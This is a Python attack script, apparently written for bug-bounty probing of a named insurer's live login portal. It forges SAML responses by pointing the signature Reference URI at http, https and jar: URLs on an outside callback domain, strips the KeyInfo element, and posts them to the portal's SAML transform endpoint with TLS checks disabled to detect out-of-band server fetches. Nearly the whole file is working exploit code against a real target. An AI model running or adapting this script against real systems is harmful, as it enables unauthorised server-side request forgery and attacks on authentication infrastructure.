#!/usr/bin/env python3
import base64,time,json,requests,urllib3
from lxml import etree
urllib3.disable_warnings()
HOST='mein-portal.baloise.de'; BASE='work/scratch/saml-correct-attr/01a1c612-1047-734c-8a4e-26296a6b3aaa.xml'
stamp=str(int(time.time())); variants=['http','https','jar-http','jar-https']
s=requests.Session();s.verify=False;s.headers['X-Bug-Bounty']='dwbzn';s.get(f'https://{HOST}/auth/',timeout=20,allow_redirects=False)
tok=s.cookies.get('CSRFT759-S'); hdr={'X-CSRFT759':tok,'X-Same-Domain':'1','Content-Type':'application/x-www-form-urlencoded','Accept':'application/json'}
outs=[]
for name in variants:
 marker=f'srid{name.replace("-","")}{stamp}'
 if name=='http': uri=f'http://{marker}--3p8.9b.au/ref'
 elif name=='https': uri=f'https://{marker}--3p8.9b.au/ref'
 elif name=='jar-http': uri=f'jar:http://{marker}--3p8.9b.au/poc.jar!/x'
 else: uri=f'jar:https://{marker}--3p8.9b.au/poc.jar!/x'
 root=etree.parse(BASE).getroot(); root.set('ID',uri[1:])
 ref=root.xpath('//*[local-name()="SignedInfo"]/*[local-name()="Reference"]')[0]; ref.set('URI',uri)
 for ki in root.xpath('//*[local-name()="Signature"]/*[local-name()="KeyInfo"]'): ki.getparent().remove(ki)
 xml=etree.tostring(root,xml_declaration=True,encoding='UTF-8')
 open(f'work/scratch/next/{marker}.xml','wb').write(xml)
 t=time.time(); r=s.post(f'https://{HOST}/auth/rest/public/baloise/saml2/transform',headers=hdr,data={'context':'Easylogin','SAMLResponse':base64.b64encode(xml).decode()},timeout=35,allow_redirects=False)
 rec={'name':name,'marker':marker,'uri':uri,'root_id':uri[1:],'status':r.status_code,'size':len(r.content),'elapsed':round(time.time()-t,3),'body':r.text[:200]};outs.append(rec);print(json.dumps(rec),flush=True)
open('work/scratch/next/saml-reference-id-oob.json','w').write(json.dumps(outs,indent=2))